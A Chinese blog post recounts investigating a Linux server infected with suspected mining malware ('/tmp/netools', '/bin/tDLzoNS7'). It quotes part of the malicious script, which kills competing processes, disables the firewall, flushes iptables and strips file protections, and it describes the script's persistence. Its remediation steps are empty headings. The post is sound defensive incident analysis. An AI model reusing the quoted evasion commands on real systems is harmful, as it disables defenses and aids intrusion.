当前位置: 首页 > news >正文

深入解析:Linux运维笔记:服务器感染 netools 病毒案例

深入解析:Linux运维笔记:服务器感染 netools 病毒案例

提示:本文记录了一起 Linux 服务器感染恶意软件(疑似挖矿病毒)的排查与处理过程,涉及隐藏进程 netools、恶意脚本 /bin/tDLzoNS7 及 Cron 持久化机制。希望对遇到类似问题的读者有所帮助!

背景

最近实验室服务器(ccccs-Z790-UD-AX)经常发生进程崩溃问题,使用 htop 命令发现其 32 个 CPU 线程总是被完全占用,但未显示相关进程,怀疑系统感染了病毒。结合 unhide proc 检测到的隐藏进程 /tmp/netools 和恶意脚本 /bin/tDLzoNS7,确认系统存在恶意软件。

本文将详细介绍病毒排查、分析、处理步骤及注意事项。

排查过程

1. 发现异常

通过 htop 观察到 CPU 占用率异常高,但未找到明显的高负载进程。初步怀疑是隐藏进程导致,可能是挖矿病毒或 rootkit。

2. 检测隐藏进程

使用 unhide proc 命令扫描隐藏进程,输出如下:

Found HIDDEN PID: 3010499
Cmdline: ""
Executable: ""
" ... maybe a transitory process"
Found HIDDEN PID: 3010501
Cmdline: "/tmp/netools"
Executable: "/tmp/netools"
Command: "netools"
$USER=
$PWD=/root
...
Found HIDDEN PID: 3010698
Cmdline: "/tmp/netools"
Executable: "/tmp/netools"
Command: "netools"
$USER=
$PWD=/root
  • 分析
    • 检测到大量以 /tmp/netools 命名的隐藏进程(PID 3010501 至 3010698),以 root 权限运行。
    • 进程路径为 /tmp/netools,表明恶意软件可能在临时目录中运行。
    • PID 3010499 显示 <none>,可能是短暂进程或 rootkit 隐藏。

3. 尝试终止进程

尝试使用 kill -9 <PID> 终止 netools 进程,但 CPU 占用很快恢复,表明存在持久化机制(如 Cron 或服务)重启进程。

4. 深入分析进程

多次使用 ps aux --sort=-pcpu | head -10 以及 ps -aux | grep netools查看高 CPU 占用进程后,发现可疑进程:

root 3024733 0.2 0.0 12580 3288 ? S 10:30 0:00 /bin/tDLzoNS7 -c ...
  • 命令行内容(部分):

    #!/bin/bash
    crontab -r >/dev/null 2>
    &1
    ps aux | grep -vw 'xmr-stak\|ld-linux.so.2' | awk '{if($3>40.0) print $2}' |
    while read procid;
    do kill -9 $procid
    ;
    done
    ufw disable >/dev/null 2>
    &1
    iptables -P INPUT ACCEPT 2>/dev/null
    iptables -P OUTPUT ACCEPT 2>/dev/null
    iptables -P FORWARD ACCEPT 2>/dev/null
    iptables -F 2>/dev/null
    chattr -i /usr/sbin/ /usr/bin/ /bin/ /usr/lib /usr/lib64 /usr/libexec /etc/ /tmp/ /sbin/ /etc/resolv.conf
    chattr -i /etc/cron.d/systeml /etc/cron.weekly/systeml /etc/cron.hourly/systeml /etc/cron.daily/systeml /etc/cron.monthly/systeml
    chattr -ia /etc/ld.so.preload
    cat /dev/null > /etc/ld.so.preload
    ...
  • 通过 grok 的脚本行为分析

    1. 终止高 CPU 进程:杀死 CPU 占用超过 40% 的进程(排除 xmr-stak 等挖矿相关进程),可能为掩盖自身活动。
    2. 禁用防火墙:禁用 ufw 和清空 iptables 规则,开放所有网络流量。
    3. 移除文件保护:使用 chattr -i 解除关键目录和文件的不可变属性,便于修改。
    4. 动态文件名
      • 检查 /usr/lib/systemd/previous_filenames1/usr/lib/systemd/previous_filenames2,读取上次使用的随机文件名。
      • 若文件不存在,生成随机文件名(如 /bin/<random_string>),保存至上述文件。
      • 重命名 x86_64i386 文件为随机名称,存储在 /bin/
    5. 持久化运行
      • 将恶意文件复制到 /tmp/netools/tmp/neo,并赋予执行权限。
      • 检查 /bin/.locked 中的 PID,若进程未运行,则启动 /tmp/netools --tls
      • 更新 /bin/.locked 中的 PID,确保单实例运行。
    6. 清理痕迹:终止 foldcattr 等辅助进程,隐藏活动。
  • 结论/bin/tDLzoNS7 是恶意脚本,负责启动 /tmp/netools,疑似挖矿病毒,具备防火墙规避、文件保护解除和动态文件名伪装功能。

处理步骤

1. 禁用 Cron 任务

2. 删除恶意文件

3. 终止恶意进程

4. 重启系统

注意事项

  1. 感染源
    • 此次病毒很可能可能通过不正规的软件包引入,需严格审查下载来源。
    • 检查近期安装的软件:
      dpkg -l | grep <suspicious_name>
  2. 持久化机制
    • 定期检查 Cron 任务和系统文件:
      crontab -l
      ls -la /etc/cron.*/*
  3. 防火墙恢复
    • 重新启用防火墙(重启后系统已自动恢复):
      sudo apt install ufw
      sudo ufw default deny
      sudo ufw allow 22
      sudo ufw enable
  4. 系统安全
    • 更新系统:
      sudo apt update &&
      sudo apt upgrade

总结

本次病毒感染涉及隐藏进程 /tmp/netools 和恶意脚本 /bin/tDLzoNS7,通过 Cron 任务实现持久化,疑似挖矿病毒。处理过程包括禁用 Cron、删除恶意文件、终止进程和系统重启。建议加强软件来源管理、定期扫描和防火墙配置,以防止类似事件。

如果您遇到类似问题,可参考本文步骤,并及时联系网络管理员或安全团队。

http://www.hskmm.com/?act=detail&tid=25276

相关文章:

  • 设计模式——命令设计模式(行为型) - 详解
  • 港专专利申请量被反超,背后是谁在“偷家”?
  • 版权诉讼下的MiniMax:AI独角兽的上市迷途
  • HTB Eureka靶机渗透实战 - Spring Boot堆转储与Bash算术注入漏洞利用
  • 手机照片太多了存哪里? - 实践
  • 时隔十六年的南京之旅
  • 高贵的北上广深,没有父母托举,90后很难成家
  • 使用AI图像服务规模化视觉内容生产
  • 实用指南:基于贝叶斯优化神经网络的光伏功率预测综述
  • 详细介绍:ROS2与Unitree机器人集成指南
  • 布尔类型
  • 安装iTrustSSL证书 去除此网站不支持安全连接提示
  • 2025钻机厂家最新推荐榜:岩芯钻机,勘探钻机,地质钻机,取样钻机,空气反循环钻机公司推荐
  • 在AI技术快速实现创意的时代,挖掘游戏开发框架新需求成为关键
  • iNaturalist开放自然数据与计算机视觉挑战
  • macOS 编辑字幕
  • reLeetCode 热题 100- 438. 找到字符串中所有字母异位词 - MKT
  • Flutter 251006
  • [MCP] Register Prompt
  • [Node.js] Server-Sent Events
  • day1 Gitlab Runner 学习
  • Software Foundations Vol.I : 使用结构化的数据(Lists)
  • Software Foundations Vol.I : 归纳证明(Induction)
  • Software Foundations Vol.I : Coq函数式编程(Basics)
  • Python 在自然语言处理中的应用与发展
  • Python 在网络爬虫与数据采集中的应用
  • 15_spring_data_neo4j简单教程
  • CF2152G Query Jungle(线段树,重链剖分,*)
  • 代码随想录算法训练营第九天 | leetcode 151 卡特55
  • [题解] 分竹子